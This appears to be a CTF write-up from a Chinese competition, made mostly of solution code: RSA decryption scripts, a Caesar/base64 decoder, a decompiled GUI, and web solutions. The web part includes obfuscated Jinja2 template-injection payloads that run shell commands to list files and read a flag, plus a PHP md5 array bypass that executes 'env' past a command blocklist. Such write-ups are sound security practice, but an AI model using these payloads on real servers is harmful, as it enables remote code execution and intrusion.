第二届CN-fnst::CTF--你说啥--WriteUp

from Crypto.Util.number import long_to_bytes
from sympy import mod_inverse

# 给定参数
e = 65537
n = 1455925529734358105461406532259911790807347616464991065301847
c = 69380371057914246192606760686152233225659503366319332065009
p=1201147059438530786835365194567
q=1212112637077862917192191913841


# 计算 φ(n)
phi_n = (p - 1) * (q - 1)

# 计算 d, 使得 (d * e) % φ(n) = 1
d = mod_inverse(e, phi_n)

# 解密：m = c^d % n
m = pow(c, d, n)

# 输出解密结果
print(f"解密后的明文是：{m}")
print(long_to_bytes(m))

p = 24440283427735860782323152407294917357529111353275570975703531438440519660225708967888657253644278000783263820558388701592370615088140947096898134081330591301984360290318641970617489021626752360815885812583176251873031239638493762071047588297627032203293985708994218852662838640238623254740905447146670999830187552717802257362427107073858485019955606331947972091793616373347825119600328855885246072890798551616534636247023983959037046475229361825549780845049341719145179099452625523855259198581865855234803188298849910863377098140158406245399677912502444220011884063994451182221171275547685147549629637310805120817903
q = 30246942489892106712702239024133721453592842183923733460515110118344404699532017493383428137697227815754741688919151294652492006534840589468962295623069884232619077280815851563195685517196295248643553001644121714958636538938848623892827992267767358030468030240236589927767000556188518269847757669474128501561192367465343050094302650720121351543751423298130335191141395620744634566228434135430114855211983270131333333081108536699301711234514426855659414263828163630092200163488598896179597996128556748173083374014319100056717308084410389660477779719495877439609162161870536882293104016630319703274657500915447940613453

from Crypto.Util.number import long_to_bytes
from sympy import mod_inverse

# 给定参数
p = 24440283427735860782323152407294917357529111353275570975703531438440519660225708967888657253644278000783263820558388701592370615088140947096898134081330591301984360290318641970617489021626752360815885812583176251873031239638493762071047588297627032203293985708994218852662838640238623254740905447146670999830187552717802257362427107073858485019955606331947972091793616373347825119600328855885246072890798551616534636247023983959037046475229361825549780845049341719145179099452625523855259198581865855234803188298849910863377098140158406245399677912502444220011884063994451182221171275547685147549629637310805120817903
q = 30246942489892106712702239024133721453592842183923733460515110118344404699532017493383428137697227815754741688919151294652492006534840589468962295623069884232619077280815851563195685517196295248643553001644121714958636538938848623892827992267767358030468030240236589927767000556188518269847757669474128501561192367465343050094302650720121351543751423298130335191141395620744634566228434135430114855211983270131333333081108536699301711234514426855659414263828163630092200163488598896179597996128556748173083374014319100056717308084410389660477779719495877439609162161870536882293104016630319703274657500915447940613453
e = 65537
c = 229043746793674889024653533006701296308351926745769842802636384094759379740300534278302123222014817911580006421847607123049816103885365851535481716236688330600113899345346872012870482410945158758991441294885546642304012025685141746649427132063040233448959783730507539964445711789203948478927754968414484217451929590364252823034436736148936707526491427134910817676292865910899256335978084133885301776638189969716684447886272526371596438362601308765248327164568010211340540749408337495125393161427493827866434814073414211359223724290251545324578501542643767456072748245099538268121741616645942503700796441269556575769250208333551820150640236503765376932896479238435739865805059908532831741588166990610406781319538995712584992928490839557809170189205452152534029118700150959965267557712569942462430810977059565077290952031751528357957124339169562549386600024298334407498257172578971559253328179357443841427429904013090062097483222125930742322794450873759719977981171221926439985786944884991660612824458339473263174969955453188212116242701330480313264281033623774772556593174438510101491596667187356827935296256470338269472769781778576964130967761897357847487612475534606977433259616857569013270917400687539344772924214733633652812119743
n = 739243847275389709472067387827484120222494013590074140985399787562594529286597003777105115865446795908819036678700460141950875653695331369163361757157565377531721748744087900881582744902312177979298217791686598853486325684322963787498115587802274229739619528838187967527241366076438154697056550549800691528794136318856475884632511630403822825738299776018390079577728412776535367041632122565639036104271672497418509514781304810585503673226324238396489752427801699815592314894581630994590796084123504542794857800330419850716997654738103615725794629029775421170515512063019994761051891597378859698320651083189969905297963140966329378723373071590797203169830069428503544761584694131795243115146000564792100471259594488081571644541077283644666700962953460073953965250264401973080467760912924607461783312953419038084626809675807995463244073984979942740289741147504741715039830341488696960977502423702097709564068478477284161645957293908613935974036643029971491102157321238525596348807395784120585247899369773609341654908807803007460425271832839341595078200327677265778582728994058920387721181708105894076110057858324994417035004076234418186156340413169154344814582980205732305163274822509982340820301144418789572738830713925750250925049059

# 计算 φ(n)
phi_n = (p - 1) * (q - 1)

# 计算 d, 使得 (d * e) % φ(n) = 1
d = mod_inverse(e, phi_n)

# 解密：m = c^d % n
m = pow(c, d, n)

# 输出解密结果
print(f"解密后的明文是：{m}")
print(long_to_bytes(m))

payload:/shell?name={%print%0a(lipsum|attr(%22\137\137\147\154\157\142\141\154\163\137\137%22))|attr(%22\137\137\147\145\164\151\164\145\155\137\137%22)(%22\137\137\142\165\151\154\164\151\156\163\137\137%22)|attr(%22\137\137\147\145\164\151\164\145\155\137\137%22)(%22\145\166\141\154%22)(%22\137\137\151\155\160\157\162\164\137\137\050\047\157\163\047\051\056\160\157\160\145\156\050\047\143\141\164\040\146\061\141\147\137\110\063\162\145\061\061\047\051\056\162\145\141\144\050\051\012%22)%}

{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}

{{config["__class__"]["__init__"]["__globals__"]["os"]["popen"]('ls')["read"]()}}

<?php
highlight_file(__FILE__);
error_reporting(0);
if (isset($_GET['usn']) && isset($_POST['pwd']) && isset($_GET['usn1']) && isset($_POST['pwd1']) ){
    $usn = $_GET['usn'];
    $usn1 = $_GET['usn1'];
    $pwd = $_POST['pwd'];
    $pwd1 = $_POST['pwd1'];
    if ($usn != $pwd && md5($usn) == md5($pwd)){
        if ($usn1 !== $pwd1 && md5($usn1) === md5($pwd1)){
            $sign = isset($_GET['sign']) && !empty($_GET['sign']) ? $_GET['sign'] : '';
            $forbidden_commands = ['cat', 'tac', 'nl', 'more', 'less', 'head', 'tail', 'read'];
            $sign_lower = strtolower($sign);
            foreach ($forbidden_commands as $forbidden) {
                if (strpos($sign_lower, $forbidden) !== false) {
                    die('lol');
                }
            }
            if (empty($sign)) {
                die('lol');
            }
            try {
                $output = shell_exec(escapeshellcmd($sign));
                echo "<pre>$output</pre>";
            } catch (ValueError $e) {
                echo "lol";
            }
        }
        else{
            echo "lol";
        }
    }
    else {
        echo "lol";
    }

}
else {
    echo 'lol';
}
?>

pyload:
GET 
?usn[]=1&usn1[]=1&sign=env
POST
pwd[]=2&pwd1[]=2

import base64
from PIL import Image
from io import BytesIO


# 凯撒密码解密函数
def caesar_decrypt(ciphertext, shift):
    decrypted_text = ""
    for char in ciphertext:
        if char.isalpha():
            shift_base = 65 if char.isupper() else 97  # 判断字母是大写还是小写
            decrypted_text += chr((ord(char) - shift_base - shift) % 26 + shift_base)
        else:
            decrypted_text += char
    return decrypted_text


# 读取加密文本
def read_encrypted_text(file_path):
    with open(file_path, 'r') as file:
        return file.read()


# 解密函数，直到找到目标字符
def decrypt_until_found(encrypted_text, target):
    shift = 0
    while shift < 26:  # 偏移量最大为26（循环一圈）
        decrypted_text = caesar_decrypt(encrypted_text, shift)
        if decrypted_text.startswith(target):  # 检查开头是否包含目标字符
            return decrypted_text, shift
        shift += 1
    return None, None  # 如果没有找到


# 将Base64数据保存为图片
def save_base64_as_image(base64_data, output_image_path):
    # 去掉 "data:image/png;base64," 前缀
    if base64_data.startswith("data:image/png;base64,"):
        base64_data = base64_data[len("data:image/png;base64,"):]

    # 解码Base64数据
    image_data = base64.b64decode(base64_data)

    # 使用PIL库将字节数据转换为图像
    image = Image.open(BytesIO(image_data))

    # 保存图片
    image.save(output_image_path)
    print(f"图片已保存为：{output_image_path}")


# 主程序
def main():
    file_path = "C:\\Users\\Administrator\\Downloads\\qiandao.txt"  # 加密文本文件路径
    target = 'data'  # 你想要查找的目标字符

    # 读取加密文本
    encrypted_text = read_encrypted_text(file_path)

    # 尝试解密直到找到目标字符
    decrypted_text, shift = decrypt_until_found(encrypted_text, target)

    if decrypted_text:
        print(f"解密成功! 偏移量是: {shift}")
        print(f"解密后的文本: \n{decrypted_text}")

        # 假设解密后的文本是Base64编码的图片数据
        try:
            save_base64_as_image(decrypted_text, 'output_image.png')
        except Exception as e:
            print(f"处理图片时发生错误: {e}")
    else:
        print("未找到目标字符。")


if __name__ == "__main__":
    main()

# Visit https://www.lddgo.net/string/pyc-compile-decompile for more information
# Version : Python 3.9

import tkinter as tk
from tkinter import messagebox
import zipfile
import os

def check_inputs():
    inputs = [
        entry1.get(),
        entry2.get(),
        entry3.get(),
        entry4.get(),
        entry5.get(),
        entry6.get()]
    correct_numbers = [
        '6',
        '0.6',
        '7',
        '84',
        '20',
        '16']
# WARNING: Decompyle incomplete


def create_gui():
    global entry1, entry2, entry3, entry4, entry5, entry6
    root = tk.Tk()
    root.title('客官需要点什么?')
    root.minsize(300, 200)
    frame = tk.Frame(root)
    frame.pack(True, 'both', **('expand', 'fill'))
    labels = [
        '焦:',
        '碱:',
        '碳:',
        '长:',
        '支:',
        '价:']
    entries = []
    for i, label_text in enumerate(labels):
        label = tk.Label(frame, label_text, **('text',))
        label.grid(i, 0, 10, 5, tk.E, **('row', 'column', 'padx', 'pady', 'sticky'))
        entry = tk.Entry(frame)
        entry.grid(i, 1, 10, 5, **('row', 'column', 'padx', 'pady'))
        entries.append(entry)
    (entry1, entry2, entry3, entry4, entry5, entry6) = entries
    submit_button = tk.Button(frame, '提交', check_inputs, **('text', 'command'))
    submit_button.grid(len(labels), 0, 2, 10, **('row', 'column', 'columnspan', 'pady'))
    frame.grid_rowconfigure(len(labels), 1, **('weight',))
    frame.grid_columnconfigure(1, 1, **('weight',))
    root.mainloop()

if __name__ == '__main__':
    create_gui()